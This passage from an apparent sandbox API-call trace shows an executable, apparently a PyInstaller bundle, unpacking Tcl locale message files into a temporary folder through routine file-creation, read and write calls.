dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.049] GetFileType (hFile=0x10c) returned 0x1 [0037.049] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.049] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.049] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.049] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.049] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.049] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.049] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.049] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.049] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.049] CloseHandle (hObject=0x10c) returned 1 [0037.049] GetLastError () returned 0x0 [0037.049] SetLastError (dwErrCode=0x0) [0037.049] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.050] GetFileType (hFile=0x10c) returned 0x1 [0037.050] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.050] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.050] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.050] CloseHandle (hObject=0x10c) returned 1 [0037.050] GetLastError () returned 0x0 [0037.050] SetLastError (dwErrCode=0x0) [0037.050] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\el.msg") returned 61 [0037.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\el.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\el.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\el.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\el.msg", lpFilePart=0x0) returned 0x3c [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.050] GetLastError () returned 0x2 [0037.050] SetLastError (dwErrCode=0x2) [0037.051] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\el.msg") returned 61 [0037.051] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\el.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\el.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.051] GetFileType (hFile=0x10c) returned 0x1 [0037.051] htonl (hostlong=0xcc080000) returned 0x8cc [0037.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.051] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8cc, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8cc, lpOverlapped=0x0) returned 1 [0037.052] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.052] CloseHandle (hObject=0x10c) returned 1 [0037.053] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.053] htonl (hostlong=0x30000000) returned 0x30 [0037.053] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.053] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.053] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.053] GetFileType (hFile=0x10c) returned 0x1 [0037.053] htonl (hostlong=0x1b405700) returned 0x57401b [0037.053] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf01b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.053] htonl (hostlong=0xa8000000) returned 0xa8 [0037.053] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa8) returned 0x544570 [0037.053] htonl (hostlong=0xa8000000) returned 0xa8 [0037.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.054] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.054] htonl (hostlong=0x2c010000) returned 0x12c [0037.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x12c) returned 0x550600 [0037.054] htonl (hostlong=0xa8000000) returned 0xa8 [0037.054] htonl (hostlong=0x2c010000) returned 0x12c [0037.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544570 | out: hHeap=0x530000) returned 1 [0037.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.054] CloseHandle (hObject=0x10c) returned 1 [0037.055] GetLastError () returned 0x0 [0037.055] SetLastError (dwErrCode=0x0) [0037.055] GetLastError () returned 0x0 [0037.055] SetLastError (dwErrCode=0x0) [0037.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.055] GetFileType (hFile=0x10c) returned 0x1 [0037.055] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.055] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.055] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.055] CloseHandle (hObject=0x10c) returned 1 [0037.055] GetLastError () returned 0x0 [0037.055] SetLastError (dwErrCode=0x0) [0037.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.055] GetFileType (hFile=0x10c) returned 0x1 [0037.055] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.055] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.056] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.056] CloseHandle (hObject=0x10c) returned 1 [0037.056] GetLastError () returned 0x0 [0037.056] SetLastError (dwErrCode=0x0) [0037.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_au.msg") returned 64 [0037.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_au.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_au.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.056] GetLastError () returned 0x2 [0037.056] SetLastError (dwErrCode=0x2) [0037.056] GetLastError () returned 0x2 [0037.056] SetLastError (dwErrCode=0x2) [0037.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_au.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_au.msg", lpFilePart=0x0) returned 0x3f [0037.056] GetLastError () returned 0x2 [0037.056] SetLastError (dwErrCode=0x2) [0037.056] GetLastError () returned 0x2 [0037.056] SetLastError (dwErrCode=0x2) [0037.056] GetLastError () returned 0x2 [0037.056] SetLastError (dwErrCode=0x2) [0037.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_au.msg") returned 64 [0037.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_au.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_au.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.060] GetFileType (hFile=0x10c) returned 0x1 [0037.060] htonl (hostlong=0x2c010000) returned 0x12c [0037.060] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.060] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x12c, lpOverlapped=0x0) returned 1 [0037.061] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.061] CloseHandle (hObject=0x10c) returned 1 [0037.062] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.062] htonl (hostlong=0x30000000) returned 0x30 [0037.062] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.062] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.062] GetFileType (hFile=0x10c) returned 0x1 [0037.062] htonl (hostlong=0xc3405700) returned 0x5740c3 [0037.062] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf0c3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.062] htonl (hostlong=0xab000000) returned 0xab [0037.062] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x55cfe0 [0037.062] htonl (hostlong=0xab000000) returned 0xab [0037.062] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.062] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.062] htonl (hostlong=0x31010000) returned 0x131 [0037.062] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x131) returned 0x550600 [0037.062] htonl (hostlong=0xab000000) returned 0xab [0037.062] htonl (hostlong=0x31010000) returned 0x131 [0037.062] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.063] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.063] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.063] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.063] CloseHandle (hObject=0x10c) returned 1 [0037.063] GetLastError () returned 0x0 [0037.063] SetLastError (dwErrCode=0x0) [0037.063] GetLastError () returned 0x0 [0037.063] SetLastError (dwErrCode=0x0) [0037.063] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.063] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.063] GetFileType (hFile=0x10c) returned 0x1 [0037.063] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.063] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.063] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.063] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.063] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.063] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.063] CloseHandle (hObject=0x10c) returned 1 [0037.063] GetLastError () returned 0x0 [0037.063] SetLastError (dwErrCode=0x0) [0037.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.064] GetFileType (hFile=0x10c) returned 0x1 [0037.064] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.064] CloseHandle (hObject=0x10c) returned 1 [0037.064] GetLastError () returned 0x0 [0037.064] SetLastError (dwErrCode=0x0) [0037.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_be.msg") returned 64 [0037.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_be.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_be.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.064] GetLastError () returned 0x2 [0037.064] SetLastError (dwErrCode=0x2) [0037.065] GetLastError () returned 0x2 [0037.065] SetLastError (dwErrCode=0x2) [0037.065] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_be.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_be.msg", lpFilePart=0x0) returned 0x3f [0037.065] GetLastError () returned 0x2 [0037.065] SetLastError (dwErrCode=0x2) [0037.065] GetLastError () returned 0x2 [0037.065] SetLastError (dwErrCode=0x2) [0037.065] GetLastError () returned 0x2 [0037.065] SetLastError (dwErrCode=0x2) [0037.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_be.msg") returned 64 [0037.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.065] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_be.msg" (normalized: 